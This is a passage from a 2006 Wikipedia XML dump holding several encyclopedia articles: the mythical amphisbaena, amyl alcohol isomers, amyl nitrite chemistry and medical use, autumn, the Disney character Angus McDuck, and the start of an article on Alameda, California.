  <page>
    <title>Amphisbaena</title>
    <id>3044</id>
    <revision>
      <id>41504481</id>
      <timestamp>2006-02-27T20:37:26Z</timestamp>
      <contributor>
        <username>Veledan</username>
        <id>306701</id>
      </contributor>
      <minor />
      <comment>serpent --&gt; Serpent (symbolism). Disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">:''This article is about the mythological/legendary/heraldic creature.  See [[Amphisbaenia]] for information on the type of [[reptile]].''

'''Amphisbaena''' ([[International Phonetic Alphabet|pronounced]]: {{IPA|ˌæmf&amp;#618;sˈbin&amp;#601;}}, plural: amphisbaenae), or '''Amphisbaina''', or '''Amphisbene''', or '''Amphisboena''', or '''Amphisbona''', or '''Amphista''', or '''Amphivena''', or '''Anphivena''' (the last two being feminine), a [[Greek language|Greek]] word, from ''amfis'', meaning both ways, and ''bainein'', meaning to go, also called the Mother of Ants, is a [[mythological]], ant-eating [[Serpent (symbolism)|serpent]] with a head at each end. According to [[Greek mythology]], the mythological amphisbaena was spawned from the blood that dripped from [[Medusa]] the [[Gorgon]]'s head as [[Perseus]] flew over the Libyan desert with it in his hand. Cato's army then encountered it along with other serpents on the march. Amphisbaenae fed off of the corpses left behind. The amphisbaena has been referred to by the [[poet]]s, such as [[Nicander]], [[John Milton]], [[Alexander Pope]], and [[Alfred Tennyson|Alfred, Lord Tennyson]] and the amphisbaena as a mythological and legendary creature has been referenced by [[Lucan (poet)|Lucan]], [[Pliny the Elder]], [[Isidore of Seville]], and [[Thomas Browne|Browne, Sir Thomas]], the last of which debunked its existence. 

== Appearance ==

The earlier descriptions of the amphisbaena depict what looks basically like a snake (perhaps an [[Indian Sand Boa]]), but with a head at either end. However, medieval and later drawings often show it with two or more scaled feet, particularly chicken feet and feathered wings. Some even depict it with horns on the front head and small, round ears on the other, or horns on  both heads. These horns are long and either curved upwards or slightly spiraled. Also, some show it with the second head on the end of its tail, while others have both &quot;necks&quot; of equal size so that it cannot be determined which is the rear head. Many descriptions of the amphisbaena say its eyes glow like candles or lightning, but the poet [[Nicander]] seems to contradict this by describing it as &quot;always dull of eye&quot;. He also says: &quot;From either end protrudes a blunt chin; each is far from each other.&quot;

== Abilities ==

* regenerative abilities - if the amphisbaena is cut in half, the two parts can rejoin
* venomous fangs - the amphisbaena is venomous, as [[Pliny the Elder ]] indicates: &quot;The amphisbaena has a twin head, that is one at the tail end as well, as though it were not enough for poison to be poured out of one mouth.&quot;
* efficient duplicity - the amphisbaena's heads can handle more than one task at once, as [[Thomas Browne|Browne, Sir Thomas]] explains: &quot;...while one wept, the other laughing; while one was silent, the other speaking; while one awaked, the other sleeping; as is declared by three remarkable examples in Petrarch, Vincentius, and the Scottish History of Buchanan.&quot;
* speed - according to some accounts, the amphisbaena can slither (or run) very quickly, and, in the case of the limbless amphisbaena, it can slither in either direction, as [[Isidore of Seville]] indicates: &quot;It can move in the direction of either head with a circular motion.&quot; The poet [[Nicander]], however, describes the amphisbaena as &quot;slow in motion&quot;.
* rolling - by locking the jaws of its two heads or holding the neck of one in the mouth of the other, the amphisbaena can roll like a hoop, as depicted by medieval artists
* warmbloodedness - unlike most serpents, the amphisbaena was apparently unperturbed by the cold, as [[Isidore of Seville]] indicates: &quot;Alone among snakes, the amphisbaena goes out in the cold.&quot;

== Uses ==

* pregnancy - pregnant women wearing an amphisbaena around their necks would supposedly have safe pregnancies; in accord with this, women in power would wear bracelets in the shape of amphisbaenae
* [[arthritis]] - wearing a dead amphisbaena or its skin would cure [[arthritis]]
* chilblains - wearing the skin of an amphisbaena will reduce this swelling of the hands caused by cold
* cold - wearing a dead amphisbaena or its skin is a cure for a cold
* woodcutting - nailing the skin of an amphisbeana to a tree before cutting it down will make it easier to fell the tree and keep the lumberjack warm

== References in [[heraldry]] ==

As well as a legendary creature referenced by ancient historians and a monster from [[Greek mythology]], the amphisbaena is a heraldic creature.

'''Amphibanes''', or '''Amphibenes''' is a heraldic term indicating the crest: &quot;on a  Saltire ''or'', interlaced by two Amphisbaenae ''azure'' [[tongue|langued]] ''gules'' a rose of the last barbed and seeded ''purpure''&quot;. This was the crest of [[Gwilt]].

In plain [[English language|English]], this means a rose with purple thorns and seeds interlaced by two blue, red-tongued amphisbaenae, with a yellow X in the background.

== Bibliography ==
* Hunt, Jonathan (1998). ''Bestiary: An Illuminated Alphabet of Medieval Beasts'' (1st ed.). Hong Kong: Simon &amp; Schuster. ISBN 0-689-81246-9.

* Dave. Amphisbaena. Dave's Mythical Creatures and Places. Available: URL http://www.eaudrey.com/myth/amphisbaena.htm. Last accessed [[3 May]] [[2005]].

[[de:Amphisbäne]]
[[es:Anfisbena]]
[[gl:Anfisbena]]
[[pl:Amfisbeny]]

[[Category:Greek legendary creatures]]</text>
    </revision>
  </page>
  <page>
    <title>Amyl alcohol</title>
    <id>3045</id>
    <revision>
      <id>32097184</id>
      <timestamp>2005-12-20T13:10:09Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>disambig</comment>
      <text xml:space="preserve">There are eight [[isomer]]s of '''[[amyl]] [[alcohol]]''' (C&lt;sub&gt;5&lt;/sub&gt;H&lt;sub&gt;11&lt;/sub&gt;OH):

{| border=&quot;1&quot; cellpadding=&quot;2&quot;
|+Isomers of amyl alcohol
|-
! name || formula || [[Alcohol#Structure|alcohol structure]] || [[Systematic name|IUPAC Name]]
|-
| normal amyl alcohol 
| CH&lt;sub&gt;3&lt;/sub&gt;&amp;bull;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;4&lt;/sub&gt;&amp;bull;OH 
| primary
| [[pentanol|1-pentanol]]
|-
| isobutyl carbinol or isoamyl alcohol
| (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;&amp;bull;CH&amp;bull;CH&lt;sub&gt;2&lt;/sub&gt;&amp;bull;CH&lt;sub&gt;2&lt;/sub&gt;OH
| primary
| 3-methyl-1-butanol
|- 
| active amyl alcohol
| (CH&lt;sub&gt;3&lt;/sub&gt;)(C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;)''':'''CH&amp;bull;CH&lt;sub&gt;2&lt;/sub&gt;OH
| primary
| 2-methyl-1-butanol
|-
| tertiary butyl carbinol 
or neopentyl alcohol
| (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;C&amp;bull;CH&lt;sub&gt;2&lt;/sub&gt;OH
| primary
| 2,2-dimethyl-1-propanol
|-
| diethyl carbinol
| (C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;CH&amp;bull;OH
| secondary
| 3-pentanol
|-
| methyl (n) propyl carbinol
| (CH&lt;sub&gt;3&lt;/sub&gt;.CH&lt;sub&gt;2&lt;/sub&gt;&amp;bull;CH&lt;sub&gt;2&lt;/sub&gt;)(CH&lt;sub&gt;3&lt;/sub&gt;)''':'''CH''':'''OH
| secondary
| 2-pentanol
|-
| methyl isopropyl carbinol 
| (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;''':'''CH(CH&lt;sub&gt;3&lt;/sub&gt;)''':'''CHOH
| secondary
| 3-methyl-2-butanol
|-
| dimethyl ethyl carbinol 
or tertiary amyl alcohol
| (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;2&lt;/sub&gt;&amp;bull;(C&lt;sub&gt;2&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;)&amp;bull;''':'''C&amp;bull;OH
| tertiary
| 2-methyl-2-butanol
|}


Three of these alcohols, active amyl alcohol, methyl (n) propyl carbinol, and methyl isopropyl carbinol, contain an asymmetric carbon atom and can consequently each exist in two [[optical isomerism|optically active]], and one optically inactive form.

The most important is isobutyl carbinol, this being the chief constituent of fermentation amyl alcohol, and consequently a constituent of [[fusel oil]].  It may be separated from fusel oil by shaking with strong [[brine]] solution, separating the oily layer from the brine layer and [[distillation|distilling]] it, the portion boiling between 125 &amp;deg;C and 140 &amp;deg;C. being collected.  For further purification it may be shaken with hot [[lime water]], the oily layer separated, dried with [[calcium chloride]] and fractionated, the fraction boiling between 128 &amp;deg;C and 132 &amp;deg;C only being collected.  It may be synthetically prepared from [[butanol|isobutyl alcohol]] by conversion into isovaleraldehyde, which is subsequently reduced to isobutyl carbinol by means of [[sodium amalgam]].

It is a colourless liquid of density 0.8247 g/cm&amp;sup3; (0 &amp;deg;C), boiling at 131.6 &amp;deg;C, slightly soluble in water, easily soluble in [[ethanol|alcohol]], [[diethyl ether|ether]], [[chloroform]] and [[benzene]].  It possesses a characteristic strong smell and a sharp burning taste.  When perfectly pure, it is not a poison, although the impure product is.  On passing its vapour through a red-hot tube, it undergoes decomposition with production of [[acetylene]], [[ethylene]], [[propylene]], etc. It is [[oxidation|oxidized]] by [[chromic acid]] mixture to isovaleraldehyde; and it forms crystalline addition compounds with [[calcium chloride]] and [[tin(IV) chloride]].

The other amyl alcohols may be obtained synthetically.  Of these, tertiary butyl carbinol has been the most difficult to obtain, its synthesis having first been accomplished in [[1891]], by L. Tissier (''Comptes Rendus'', 1891, 112, p. 1065) by the reduction of a mixture of trimethyl acetic acid and trimethylacetyl chloride with sodium amalgam.  It is a solid which melts at 48 to 50 &amp;deg;C and boils at 112.3 &amp;deg;C.

==References==
*{{1911}}

[[Category:Alcohols]]

[[de:1-Pentanol]]
[[pt:Álcool amílico]]</text>
    </revision>
  </page>
  <page>
    <title>Amyl nitrite</title>
    <id>3046</id>
    <revision>
      <id>42086790</id>
      <timestamp>2006-03-03T19:09:35Z</timestamp>
      <contributor>
        <ip>152.23.210.149</ip>
      </contributor>
      <text xml:space="preserve">{| border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;250px&quot; style=&quot;border-collapse: collapse; margin: 0 0 0 0.5em&quot;
|-
| bgcolor=&quot;#ffffff&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
[[Image:amylnitrite.JPG|100px]] &lt;br/&gt;
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[IUPAC nomenclature|IUPAC]] name: &lt;br /&gt;
''3-methyl-1-nitrosooxybutane''
|- align=&quot;center&quot; style=&quot;border-bottom: 3px solid gray&quot;
| '''[[CAS number]]''' &lt;br/&gt; 463-04-7
| '''[[ATC code]]'''   &lt;br/&gt; [[ATC code V03|V03]]AB22
|-
| bgcolor=&quot;#eeeeee&quot; | [[Chemical formula]]
| bgcolor=&quot;#ddeeff&quot; | [[Carbon|C]]&lt;sub&gt;5&lt;/sub&gt;[[Hydrogen|H]]&lt;sub&gt;11&lt;/sub&gt;[[Nitrogen|N]][[Oxygen|O]]&lt;sub&gt;2&lt;/sub&gt;
|-
| bgcolor=&quot;#eeeeee&quot; | [[Molecular weight]]
| bgcolor=&quot;#ddeeff&quot; | 117.15 g/mol
|-
| bgcolor=&quot;#eeeeee&quot; | [[Bioavailability]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | Metabolism
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[half life|Elimination half life]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Excretion]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Pregnancy category (pharmaceutical)|Pregnancy category]]
| bgcolor=&quot;#ddeeff&quot; | ?
|-
| bgcolor=&quot;#eeeeee&quot; | [[Controlled Substance Act|Legal status]]
| bgcolor=&quot;#ddeeff&quot; | [[Schedule VI]]
|-
| bgcolor=&quot;#eeeeee&quot; | Delivery
| bgcolor=&quot;#ddeeff&quot; | ?
|-
|}
&lt;!-- (empty table has been hidden) &lt;/table&gt;&lt;table bgcolor=&quot;#ffffff&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; align=&quot;right&quot; width=&quot;167px&quot; style=&quot;border-collapse: collapse; clear: right; margin: 0 0 0 0.5em&quot;&gt;
|-
|'''Indicated for:'''&lt;br/&gt;
*?

'''[[Recreational drug use|Recreational]] uses:'''&lt;br/&gt;
*?

'''[[Ethics|Unethical]] uses:'''&lt;br/&gt;
*?

'''Other uses:'''&lt;br/&gt;
*?
|-
|'''[[Contraindication]]s:'''&lt;br/&gt;
*?
|-
|'''[[adverse medical effect|Side effect]]s:'''
&lt;div style=&quot;background: #ffcc99&quot;&gt;
'''''{{red|Severe:}}'''''
*?
&lt;/div&gt;

'''''Atypical [[sensation]]s:'''''
*?

'''''[[Cardiovascular]]:'''''
*?

'''''[[Ear]], [[nose]], and [[throat]]:'''''
*?

'''''[[Endocrinal]]:'''''
*?

'''''[[Eye]]:'''''
*?

'''''[[Gastrointestinal]]:'''''
*?

'''''[[Hematological]]:'''''
*?

'''''[[Muscle|Musculo]][[skeletal]]:'''''
*?

'''''[[Neurological]]:'''''
*?

'''''[[Psychological]]:'''''
*?

'''''[[Respiration (physiology)|Respiratory]]:'''''
*?

'''''[[Skin]]:'''''
*?

'''''[[Urogenital]] and [[reproductive]]:'''''
*?

'''''Miscellaneous:'''''
*?
|}--&gt;

The [[chemical compound]] '''amyl nitrite''' (here referring to '''isoamyl nitrite''') is an [[Alkyl nitrites|alkyl nitrite]].
It has a characteristic penetrating odour, and produces marked effects on the human body when its vapour is inhaled. It acts as a [[vasodilator]] (expanding [[blood vessel]]s and thus lowering [[blood pressure]]) and finds applications in [[medicine]] in the treatment of [[ischaemic heart disease|heart disease]] such as [[angina]]. Amyl nitrite is also used to treat [[cyanide]] poisoning. It induces the formation [[methemoglobin]] which binds cyanide into non-toxic cyanomethemoglobin.
When used recreationally, doses of it are often called '''poppers'''. See the article ''[[alkyl nitrites]]'' for more information on its recreational use as an inhalant. The effects of amyl nitrite are thought to be due to the action of [[nitric oxide]] in the body.

Physical effects include headache, flushing of the face, decrease in blood pressure, increase in pulse, dizziness and relaxation of [[involuntary muscle]]s, especially the [[blood vessel]] walls and the [[anal sphincter]]. There are no [[withdrawal]] symptoms. [[Overdose]] symptoms include [[nausea]], [[vomiting]], badly decreased [[blood pressure]] and [[Breath|respiration]], fainting, cold skin and possible circulatory collapse and death.

'''Nitramyl''' is another name for isoamyl nitrite. The name &quot;amyl nitrite&quot; is actually ambiguous as it can refer not only to 3-methyl-1-nitrosooxybutane, but also its isomers 2-methyl-1-nitrosooxybutane, 3-nitrosooxypentane, 2-nitrosooxypentane, and most commonly 1-nitrosooxypentane - '''n-amyl nitrite'''. Other synonyms for amyl nitrite, which may refer to any isomer, include '''Pentyl Alcohol Nitrite''' and '''Nitrous acid, pentyl ester'''. The name &quot;[[amyl nitrate]]&quot; is commonly mistaken for amyl nitrite; they are two different chemicals.

==Chemistry==

Isoamyl nitrite is a clear liquid of [[specific gravity]] 0.872, boiling at about 95 to 96 degrees [[Celsius]].
It has a [[solubility]] in [[water (molecule)|water]] of about .01 g/100 mL, but dissolves readily in [[ethanol|alcohol]], [[diethyl ether|ether]], glacial [[acetic acid]], [[chloroform]], and [[benzene]].
It is prepared by passing nitrous fumes (from [[starch]] and concentrated [[nitric acid]]) into warm [[isoamyl alcohol]], or by distilling a mixture of 26 parts of [[potassium nitrite]] in 15 parts of water with 30 parts of isoamyl alcohol in 30 parts of [[sulfuric acid]].
On heating with [[methanol]], it is converted into isoamyl alcohol and [[methyl nitrite]]; a similar reaction takes place with [[ethanol]], but the change is less complete.
It is readily decomposed by [[nascent hydrogen]], with the formation of [[ammonia]] and isoamyl alcohol; and in alkaline [[hydrolysis]] it forms isoamyl alcohol.

n-amyl nitrite is a yellow-coloured liquid of specific gravity 0.853, boiling at 104 degrees Celsius. It decomposes in water. When the liquid is dropped onto fused [[potassium hydroxide|caustic potash]] (liquid KOH), it forms [[potassium valerate]].

==See also==
* [[Alkyl nitrites]]
* [[Butyl nitrite]]
* [[Ethyl nitrite]]
* [[Methyl nitrite]]
* [[Isopropyl nitrite]]
* [[Cyclohexyl nitrite]]
* [[Poppers]]

{{Alkyl nitrites}}

[[Category:Antianginals]]
[[Category:Antidotes]]
[[Category:Alkyl nitrites]]
[[Category:Schedule VI controlled substances]]
[[Category:Muscle relaxants]]

[[de:Amylnitrit]]
[[sv:Amylnitrit]]</text>
    </revision>
  </page>
  <page>
    <title>Anomy</title>
    <id>3047</id>
    <revision>
      <id>15901417</id>
      <timestamp>2002-05-01T21:33:08Z</timestamp>
      <contributor>
        <username>Eclecticology</username>
        <id>372</id>
      </contributor>
      <comment>Deleted irrelevant nonsense and redirected to more usual spelling</comment>
      <text xml:space="preserve">#redirect [[anomie]]
</text>
    </revision>
  </page>
  <page>
    <title>Australian Constitutional Crisis of 1975</title>
    <id>3048</id>
    <revision>
      <id>15901418</id>
      <timestamp>2002-05-21T21:45:26Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Australian constitutional crisis of 1975]]</comment>
      <text xml:space="preserve">#redirect [[Australian constitutional crisis of 1975]]</text>
    </revision>
  </page>
  <page>
    <title>Autumn</title>
    <id>3049</id>
    <revision>
      <id>42002615</id>
      <timestamp>2006-03-03T03:50:12Z</timestamp>
      <contributor>
        <username>Brian0918</username>
        <id>90640</id>
      </contributor>
      <minor />
      <comment>typo</comment>
      <text xml:space="preserve">{{season}}
{{redirect|Fall}}

'''Autumn''' (also '''fall''' in [[North American English]]) is one of the four temperate [[seasons]], the transition from [[summer]] into [[winter]].

In the [[temperate zone]]s, autumn is the season during which most crops are [[harvest]]ed, and [[deciduous]] trees lose their [[leaf|leaves]]. It is also the season in rapidly get shorter and cooler (especially in the northern latitudes), and of gradually increasing precipitation in some parts of the world. 

Astronomically, it begins with the [[autumnal equinox]] (around [[September 23]] in the [[Northern hemisphere]], and [[March 21]] in the [[southern hemisphere]]), and ends with the [[winter solstice]] (around [[December 21]] in the Northern hemisphere and [[June 21]] in the Southern hemisphere). However, meteorologists count the entire months of March, April and May in the Southern hemisphere, and September, October and November in the Northern hemisphere as autumn. An exception to these definitions is found in the [[Irish Calendar]] which still follows the Celtic cycle, where Autumn is counted as the whole months of [[August]], [[September]] and [[October]]. 

Although the days begin to shorten in July or August in the northern latitudes and in January and February in the south, it is usually in September or March where twilight becomes evidently shorter and more abrupt in comparison with the more lingering ones of summer.

[[image:autumn.westonbirt.750pix.jpg|thumb|right|Autumn colours at [[Westonbirt Arboretum]], Gloucestershire, England.]]

Autumn is often defined as the start of the school year in most countries, since they usually begin in early September or early March (depending on the latitude).

Either definition, as with those of the seasons generally, is flawed because it assumes that the seasons are all of the same length, and begin and end at the same time throughout the temperate zone of each hemisphere.

==Historic usage and recognition==
Diverse nations computed the years by autumns, while the [[Anglo-Saxon]]s did so by [[winter]]s. [[Tacitus]] tells us that the ancient Germans were acquainted with all the other seasons of the year, but had no notion of Autumn. Linwood observed of the beginning of the several seasons of the year, that
:&quot;Dat Clemens Hyemem, dat Petrus Ver Cathedratus;
:Aestuat Urbanus, Autumnat Bartholomaeus.&quot; {{ref label|1728|1|^}}

In [[alchemy]], Autumn is the time or season when the operation of the [[Philosopher's stone]] is brought to maturity and perfection. {{ref label|1728|1|^}}

==Autumn in popular culture==
[[Image:autumn.jpg|thumb|180px|[[Personification]] of Autumn (Currier &amp; Ives Lithograph, 1871).]]

Autumn's association with the transition from warm to cold weather in the northern hemisphere, and its related status as the season of the primary [[harvest]], has dominated its themes and popular images. In Western cultures, personifications of Autumn are usually pretty, well-fed females decked out with fruits, vegetables and grains that ripen at this time. Most ancient cultures featured autumnal celebrations of the harvest, often the most important on their calendars. Still extant echoes of these celebrations are found in the late-Autumn [[Thanksgiving]] holiday of the [[United States]], the Jewish [[Sukkot]] holiday with its roots as a full moon harvest festival of &quot;tabernacles&quot; (huts wherein the harvest was processed and which later gained religious significance), the many North American Indian festivals tied to harvest of autumnally ripe foods gathered in the wild, the Chinese [[Mid-Autumn Festival | Mid-Autumn or Moon festival]], and many others. The predominant mood of these autumnal celebrations is a gladness for the fruits of the earth mixed with a certain melancholy linked to the imminence of harsh weather. Remembrance of ancestors is also a common theme.

In modern times, apart from being the start of the school year, it is one of the seasons in which the film industry starts releasing movies that are usually low-budget in scope, but worthy of artistic achievement at academic institutions such as the [[Oscars]] and the [[BAFTA]] awards (whose award ceremonies are held in late-February). Such movies are considered low-key, deeper in content and more serious than their big-budget, effects-laden summer counterparts. Autumn, which begins on the weekend following [[Labor Day (United States)|Labor Day]] and ends—every 4 years—on the weekend before the US elections, is the shortest and least profitable season of the movies.

Autumn is also associated with the [[Halloween]] season, and with it a widespread marketing campaign that promotes it. The film and music industries use this time of year to promote movies and records that closely associate with such holiday, and their releases begin in early September but no later than October 28, since their themes rapidly lose strength once the holidays ends.

Autumn, like spring, is highly unpredictable and, in many regions, it is also short.  Temperatures in September can get above 86°F (30°C) and with the heat index, it may make for dangerous conditions regarding people neglecting themselves in regard to heat stroke ([[hyperthermia]]) risks. In October, especially in the northern lattitudes, there maybe some cold snaps and a mix of rain and snow, although permanent snow cover is usually not established until mid-November.

== Autumn and tourism ==
[[Image:Autumn colors.jpg|thumb|right|Brilliant orange of sunlight autumn trees]]

Eastern Canada and the [[New England]] region of the United States are famous around the world for the brilliance of their &quot;fall foliage,&quot; and a seasonal tourist industry has grown up around the few weeks in autumn when the leaves are at their peak. Some television and web-based weather forecasts even report on the status of the fall foliage throughout the season as a service to tourists. Fall foliage tourists are often referred to as &quot;[[leaf peeper]]s&quot;.

== Autumn versus Fall ==
[[Image:FireTrees-Fall2005-Georgia.jpg|thumb|right|Fiery red fall leaves]]
'''Fall''' is an alternative [[English language|English]] word for the season of [[Autumn]]. Only in use now in [[North American English]], the word traces it origins to old [[Germanic languages]]. The exact derivation is unclear, the [[Old English language|Old English]] ''fiæll'' or ''feallan'' and the [[Old Norse language|Old Norse]] ''fall'' all being possible candidates. However, these words all have the meaning &quot;to fall from a height&quot; and are clearly derived either from a common root or from each other. The term only came to denote the season in the [[16th century]], a contraction of [[Middle English]] expressions like &quot;fall of the leaf&quot; and &quot;fall of the year&quot;.

''Autumn'' comes from the [[Old French]] ''autompne'', and ultimately from the [[Latin]] autumnus. There are rare examples of its use as early as the [[14th century]], but it became common only in the 16th, around the same time as ''Fall'', when the two words appear to have been used interchangebly. 

During the 17th century immigration to the English colonies in [[North America]] was at its peak and the new settlers took their language with them. While use of the term ''Fall'' gradually waned in Britain, the opposite happened in North America, and ''Autumn'' fell from favour.

Before the 16th century ''[[Harvest]]'' was the term usually used to refer to the season. However as more people gradually moved from working the land to living in towns (especially those who could read and write, the only people whose use of language we now know), the 
word became to refer to the actual activity of reaping, rather than the time of year, and ''Fall'' and ''Autumn'' began to replace it.

==References==
#{{note label|1728|1|^}}{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240221&amp;isize=L]

== See also ==
*[[Axial tilt]]
*[[How directness of sunlight causes warmer weather]]
*[[Spring (season)|Spring]]
*[[Summer]]
*[[Winter]]

== External links ==
* [http://www.home2garden.org/new-england-fall-foliage.html New England fall foliage, tour, report.]
* [http://landscaping.about.com/od/fallfoliagetrees/ Fall Foliage Trees] Information on fall foliage trees for home landscaping, including pictures.
* [http://www.urbanext.uiuc.edu/fallcolor/trees.html &quot;The Mirage of Fall - Foliage Trees&quot;] at University of Wisconsin has fall pictures of around 50 trees and 20 shrubs
* [http://www.cnr.vt.edu/dendro/dendrology/fall/biglist_frame.cfm Virginia Tech's picture gallery] from their [[dendrology]] department with over 100 images of trees and shrubs
* [http://www.housatonicnet.com/foliage/index.htm Fall Foliage Pictures] A sample of fall foliage from Western Connecticut
* [http://www.oulu.fi/northnature/english/englanti/ajankohtsyksy.html Autumn of animals and plants in Finland] by Northern Nature Project
*[http://www.landscape-photo.net/Season-autumn/index.html  Photos of autumn trees, leafs and landscapes] by Landscape-Photo.net

==Etymology references==

*[http://hea-www.harvard.edu/ECT/Words/#fall Word Lore]
*[http://education.yahoo.com/reference/dictionary/entry/autumn Definition of autumn]
*[http://education.yahoo.com/reference/dictionary/entry/fall Definition of fall]
*[http://www.etymonline.com/index.php?search=Fall&amp;searchmode=none Online Etymology Dictionary: Fall]


[[Category:Etymology]]
[[Category:Seasons]]
[[ast:Seronda]]
[[bg:Есен]]
[[ca:Tardor]]
[[cy:Hydref (tymor)]]
[[da:Efterår]]
[[de:Herbst]]
[[el:Φθινόπωρο]]
[[es:Otoño]]
[[eo:Aŭtuno]]
[[fr:Automne]]
[[fur:Sierade]]
[[gl:Outono]]
[[ko:가을]]
[[id:Musim gugur]]
[[it:Autunno]]
[[he:סתיו]]
[[ka:შემოდგომა]]
[[la:Autumnus]]
[[nl:Herfst]]
[[ja:秋]]
[[no:Høst]]
[[pl:Jesień]]
[[pt:Outono]]
[[ru:Осень]]
[[sl:Jesen]]
[[fi:Syksy]]
[[sv:Höst]]
[[tt:Köz]]
[[vi:Mùa thu]]
[[zh:秋季]]</text>
    </revision>
  </page>
  <page>
    <title>Angus McDuck</title>
    <id>3051</id>
    <revision>
      <id>39326509</id>
      <timestamp>2006-02-12T10:27:59Z</timestamp>
      <contributor>
        <ip>60.226.120.170</ip>
      </contributor>
      <text xml:space="preserve">'''Angus McDuck''', nicknamed &quot;Pothole&quot;, is a [[fictional character]] of the [[Scrooge McDuck universe]], as depicted in [[comic book]]s series produced by the [[Walt Disney]] company. 

Angus McDuck was born in [[Glasgow]], [[Scotland]] on [[1829]] to [[Dingus McDuck]] and [[Molly Mallard]], who were both working as [[coal]] miners at the time. He had two younger brothers named [[Fergus McDuck]] and [[Jake McDuck]].

Angus migrated to the [[United States]] during the late [[1840s]]. In [[1850]] he was working as a cabin boy in the [[Mississippi River]] riverboat ''Drennan Whyte'' when it sunk. He was the only survivor. He continued working on Mississippi riverboats and he had obtained his own by [[1861]], named ''Cotton Queen''. During the [[American Civil War]] ([[1861]]-[[1865]]) he became quite successful as a riverboater.  Soon after the end of the war in [[1865]] he and fellow riverboater [[Porker Hogg]] became the two owners of Cornpone Gables, a southern [[plantation]] that had gone bankrupt. The two were unable to settle their differences and they decided to have a riverboat race in [[1870]] to decide who would be the single owner. Both riverboats sunk.  Porker had two more riverboats but Angus spent the next ten years as a professional card player.

In [[1880]], in a poker game with Porker, Angus won the rights to one of his rival's riverboats, named ''Dilly Dollar''.  Porker soon lost his other riverboat to the Beagle Boys, a family of outlaws, and retired. Angus on the other hand hired his nephew [[Scrooge McDuck]] and a penniless inventor named [[Ratchet Gearloose]] as his crew. Business wasn't going well and Angus decided to retire in [[1882]]. He left his riverboat to his nephew and settled down in [[New Orleans, Louisiana|New Orleans]].

He became the writer of a series of [[dime novel]]s under the title ''The Master of Mississippi'', based on a highly exaggerated description of his life. His dime novels became very popular and to have more material to add he occasionally travelled through the country.

During his travels he met many famous historical figures of the Western United States. Among others he befriended [[Phineas Taylor Barnum]], [[Buffalo Bill]], [[Annie Oakley]], and [[Geronimo]].

He died in 1901 aged 72.


[[Category:Characters in the Scrooge McDuck universe|McDuck, Angus]]
[[Category:Fictional writers|McDuck, Angus]]
[[Category:Fictional ducks|McDuck, Angus]]
[[Category:Fictional Scots|McDuck, Angus]]


[[it:Angus de Paperoni]]</text>
    </revision>
  </page>
  <page>
    <title>Alameda, California</title>
    <id>3052</id>
    <revision>
      <id>41919839</id>
      <timestamp>2006-03-02T16:55:23Z</timestamp>
      <contributor>
        <username>John Broughton</username>
        <id>410440</id>
      </contributor>
      <comment>rv vandalism by 130.191.196.13</comment>
      <text xml:space="preserve">{{Infobox City |
official_name = City of Alameda, California |
nickname = [[The Island City]] |
image_flag = Alameda_city_flag.gif |
image_seal = Alamedaseal.gif |
image_map = Alameda_in_Alameda_County.png |
map_caption = Location in the state of [[California]] and [[Alameda_County%2C_California|Alameda County]] |
subdivision_type = [[List_of_California_counties|County]] |
subdivision_name = [[Alameda County, California|Alameda]]|
leader_title = [[Mayor]] |
leader_name = [[Beverley Johnson]] (D)|
area_note = |
area_magnitude = 1 E9 |
area_total = 59.5 |
area_land = 28.0 |
area_water = 31.5 |
population_as_of = 2000 |
population_total = 72,259 |
population_density = 1,131.3 |
timezone = [[Pacific Standard Time|PST]] |
utc_offset = &amp;minus;8 |
timezone_DST = [[Pacific Daylight Time|PDT]] |
utc_offset_DST = &amp;minus;9 |
latitude = 37&amp;deg;45'50&quot; N |
longitude = 122&amp;deg;15'25&quot; W |
website = [http://ci.alameda.ca.us/ City of Alameda] |
footnotes = |
}}

'''Alameda''' is a city located in [[Alameda County, California]].  It is a city on a small island of the same name next to [[Oakland, California|Oakland]], [[California]] in the [[San Francisco Bay]]. An additional part of the city is on ''Bay Farm Island'', which it shares with the [[Oakland International Airport]].  The city has a small town feel with its Victorian homes and tree lined neighborhoods. As of the 2000 census, the city had a total population of 72,259. 

Today the city consists of the main original section, with the former [[Naval Air Station Alameda|Naval Air Station]] at one end, and [[Bay Farm Island]], which is actually part of the mainland proper. Both of these are built on artificial hydraulic landfill on top of the bay's muddy bottom.  The area of the former NAS is now known as &quot;Alameda Point.&quot;

== History ==

The city was founded on June 6, 1853.  Alameda was not originally on an island; rather, it was a peninsula off Oakland. The need for expanded shipping facilities in the late 19th century in both cities led to a shipping and tidal channel that was dug between the two cities in 1902, extending and deepening the natural estuary, which resulted in Alameda becoming an &quot;island&quot; with most of the dug up soil used to fill in some sections of the nearby marsh land.

== Geography ==
